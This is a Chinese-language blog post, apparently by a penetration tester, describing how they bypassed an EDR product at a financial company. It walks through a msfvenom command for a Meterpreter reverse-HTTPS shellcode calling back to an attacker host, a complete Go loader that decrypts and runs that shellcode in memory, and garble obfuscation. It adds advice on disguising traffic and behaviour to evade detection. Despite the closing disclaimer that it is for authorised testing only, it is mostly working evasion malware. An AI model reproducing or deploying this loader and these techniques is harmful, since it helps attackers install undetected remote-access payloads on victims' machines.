一、一次“失败”的红队渗透行动

某次受邀进行授权渗透测试时,我的任务是攻破一家金融公司的内网系统。按照常规流程,我完成了外部信息收集,发现目标使用了一款老旧的 Web 应用托管平台作为对外服务入口。通过扫描,我定位到一个未打补丁的文件上传漏洞,并成功在服务器上上传了一个 Webshell。

然而,当我尝试进一步执行命令时,发现目标系统部署了一款知名 EDR(Endpoint Detection and Response)产品,所有的简单恶意载荷(如 Metasploit 生成的 payload)都被直接拦截,无论是静态检测还是运行时行为。即使我尝试对恶意代码进行加壳和混淆,也未能绕过。

这让我意识到,仅仅依赖常规生成的载荷,已经不足以对抗当前的防御系统。于是,我决定从构造和免杀技术入手,设计一个专属载荷,突破目标防御。在这篇文章里,我会完整分享这个案例背后的免杀技巧,以及恶意载荷实现的全过程。

---

二、Payload 的隐匿之道

让一个恶意载荷“隐形”,通常有以下两方面需要攻克:静态检测动态分析

静态检测的挑战

静态检测主要通过扫描文件特征(如哈希值、特定字符串、结构模式)来判断是否恶意。市面上的杀软/EDR 已经对常见的渗透工具(如 Meterpreter、Cobalt Strike)特征库积累颇深,稍不注意就会触发报警。

解决方法:自定义加载器 + 文件混淆

  1. 避开已知特征:不直接使用公开生成的载荷,而是通过自定义工具生成全新的恶意代码。
  2. 代码混淆与加壳:对代码进行加密,运行时在内存中解密并加载,避免直接暴露恶意代码内容。

动态分析的对抗

动态分析更加麻烦,EDR 会通过行为检测(如进程注入、内存读写、系统调用)来捕捉异常动作。

解决方法:控制行为 + 流量伪装

  1. 延迟加载关键模块:在执行阶段动态调用敏感函数,避免被提前标记。
  2. 伪装合法操作:模仿正常程序的调用流程,混淆恶意行为。

接下来,我们会通过一个实战案例,结合 Go 语言演示如何实现一款免杀载荷。

---

三、用 Go 构造载荷:从基础到免杀

测试环境准备

  1. 攻击者机器:Kali Linux(作为控制端)。
  2. 目标机器:Windows 10(安装 EDR)。
  3. 工具链
  • msfvenom 用于生成初始的 shellcode。
  • Go 语言(版本 1.20+)用于编写加载器。
  • Obfuscator 工具(如 garble)用于代码混淆。

生成初始 Shellcode

我们使用 msfvenom 生成带有反向连接功能的 shellcode。

<pre><code class="language-bash"># 生成 64 位 Windows shellcode,监听 443 端口 msfvenom -p windows/x64/meterpreter/reverse_https LHOST=192.168.1.100 LPORT=443 -f raw -o shellcode.bin</code></pre>

构建加载器

以下是用 Go 编写的恶意载荷加载器。它会将 shellcode 加密存储,并在运行时解密执行。

<pre><code class="language-go">package main

import ( &quot;crypto/aes&quot; &quot;crypto/cipher&quot; &quot;encoding/base64&quot; &quot;syscall&quot; &quot;unsafe&quot; )

// 加密后的 shellcode var encryptedShellcode = &quot;你的加密后的 shellcode base64 字符串&quot;

// AES 密钥 var key = []byte(&quot;16字节的AES密钥&quot;)

func decryptShellcode(encrypted string, key []byte) []byte { // Base64 解码 cipherText, _ := base64.StdEncoding.DecodeString(encrypted)

// 使用 AES 解密 block, _ := aes.NewCipher(key) iv := cipherText[:aes.BlockSize] cipherText = cipherText[aes.BlockSize:] stream := cipher.NewCFBDecrypter(block, iv) stream.XORKeyStream(cipherText, cipherText) return cipherText }

func main() { // 解密 shellcode shellcode := decryptShellcode(encryptedShellcode, key)

// 分配内存 addr, _, _ := syscall.NewLazyDLL(&quot;kernel32.dll&quot;).NewProc(&quot;VirtualAlloc&quot;).Call( 0, uintptr(len(shellcode)), 0x1000|0x2000, 0x40, )

黑客示意图

if addr == 0 { panic(&quot;Failed to allocate memory&quot;) }

// 将 shellcode 写入分配的内存 _, _, _ = syscall.NewLazyDLL(&quot;kernel32.dll&quot;).NewProc(&quot;RtlMoveMemory&quot;).Call( addr, uintptr(unsafe.Pointer(&amp;shellcode[0])), uintptr(len(shellcode)), )

// 创建线程执行 shellcode _, _, _ = syscall.NewLazyDLL(&quot;kernel32.dll&quot;).NewProc(&quot;CreateThread&quot;).Call( 0, 0, addr, 0, 0, 0, )

// 阻止程序退出 select {} }</code></pre>

代码中的技巧

  1. AES 加密 shellcode:避免静态扫描时直接暴露。
  2. 动态内存加载:将 shellcode 写入内存,并通过线程执行。
  3. API 延迟加载:用 NewLazyDLL 动态导入函数,进一步降低静态特征。

黑客示意图

---

四、攻防博弈:对抗 EDR 的技巧升级

黑客示意图

即使我们完成了上述代码,依然不能保证百分百免杀。以下是进一步绕过检测的方法:

改进加载器

  1. 混淆代码逻辑:使用工具(如 garble)对代码进行混淆,增加逆向难度。
  2. 内存段伪装:创建具有合法签名的内存区域,伪装为普通模块。

<pre><code class="language-bash"># 使用 garble 混淆编译 go build -o loader.exe main.go garble -literals build -o loader_obfuscated.exe main.go</code></pre>

避免行为分析

  1. 模拟合法流量:反向连接时,模仿正常 HTTPS 的握手和数据包大小。
  2. 代码分层处理:将关键功能分离到子进程中,减少单个进程的恶意行为特征。

---

五、实战结果与思考

这次渗透行动的最终结果是成功绕过目标的 EDR,稳定建立了反向连接通道。以下是一些关键的反思:

  1. 免杀是对抗的艺术:EDR 的检测能力在不断升级,攻击者需要随时调整策略,保持工具更新。
  2. 攻击链完整性:不仅要关注免杀本身,还需要关注后续横向移动和数据窃取的隐匿性。
  3. 合法伪装的重要性:无论是流量还是行为,模仿合法操作是当前绕过检测的核心思路。

至此,我们的免杀之旅告一段落。希望本文的内容能为你的渗透测试工作带来新的灵感。记住:一切技术仅限于授权场景下的安全测试!